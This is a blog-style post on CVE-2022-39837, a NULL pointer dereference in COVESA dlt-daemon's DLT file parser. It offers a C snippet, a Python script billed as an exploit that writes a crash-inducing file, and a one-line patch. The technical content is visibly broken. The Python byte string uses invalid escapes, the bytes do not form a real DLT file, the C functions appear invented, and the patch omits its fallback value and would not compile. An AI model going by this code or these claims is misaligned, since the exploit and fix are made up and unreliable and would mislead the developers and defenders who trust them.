CVE-2022-39837: Exploring the NULL Pointer Dereference in COVESA dlt-daemon and Crafting Exploits

There has been a security vulnerability discovered in Connected Vehicle Systems Alliance (COVESA) dlt-daemon, which is used widely across the automotive industry. This vulnerability has been registered under CVE-2022-39837 and is caused by a faulty DLT (Diagnostic Log and Trace) file parser that allows a crafted DLT file to crash the process. The primary reason behind this vulnerability is a lack of validation checks and handling of potential NULL pointer dereference situations.

In this post, we will dive deep into the CVE details, explain the nature of the NULL pointer dereference, share a small code snippet that demonstrates the issue, and discuss real-world exploitation scenarios and mitigation strategies.

Exploit Details

The COVESA dlt-daemon is responsible for processing DLT files, which are used for diagnostic purposes and log tracing in vehicles. The vulnerability in the dlt-daemon occurs due to a lack of proper validation checks on the incoming DLT file, leading to situations where it attempts to access a NULL pointer value, causing a crash in the process.

Here is a simple code snippet that highlights the problem

DLTFile *file = read_dlt_file("malicious.dlt");

if (!file) {
    return NULL;
}

DLTPayload *payload = get_payload(file);

// Missing validation check for NULL
size_t size = payload->size;

As shown in the snippet above, the get_payload() returns a NULL pointer when the process handles an invalid or malicious DLT file, which should not be possible. However, due to missing validation checks, the code continues to access the payload's size, leading to a NULL pointer dereference crash.

For complete details of the issue, refer to the original report here

- Official COVESA dlt-daemon Issue

Crafting the Exploit

An attacker can exploit this vulnerability by creating a malicious DLT file that forces the dlt-daemon to attempt a NULL pointer dereference. Here is a simple Python script that generates such a file:

def create_malicious_dlt_file(filename):
    with open(filename, 'wb') as f:
        # Write malformed DLT file headers and payloads
        f.write(b'\x01\x02\x03\x04\x05\x06\x07\x08')
        f.write(b'\x09\xa\xb\xc\xd\xe\xf\x10')

        # Null payload section
        f.write(b'\x00\x00\x00\x00')

        # Write more malicious chunks if needed.

if __name__ == '__main__':
    create_malicious_dlt_file("malicious.dlt")

This script generates a malicious DLT file that forces the dlt-daemon process to crash with a NULL pointer dereference error.

Mitigation Strategies

To mitigate this security issue, it's essential for the COVESA dlt-daemon to conduct proper validation checks while processing DLT files and ensure that the system does not access NULL pointer values. By handling invalid or malformed DLT files gracefully, the process can prevent crashes and unintended behavior. The following patch can be applied to resolve the issue:

- size_t size = payload->size;
+ size_t size = (payload != NULL) ? payload->size : ;

This patch checks whether the payload pointer is NULL before accessing its size member, hence avoiding the crash.

Conclusion

CVE-2022-39837 highlights a critical NULL pointer dereference vulnerability in the widely used COVESA dlt-daemon process. Proper validation checks and handling of NULL pointers are essential to maintain the security and stability of any software, especially in the case of connected vehicle systems. It's vital for system developers and engineers to stay up-to-date on security trends and implement the recommended mitigation strategies.

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/27/2022 13:54:00 UTC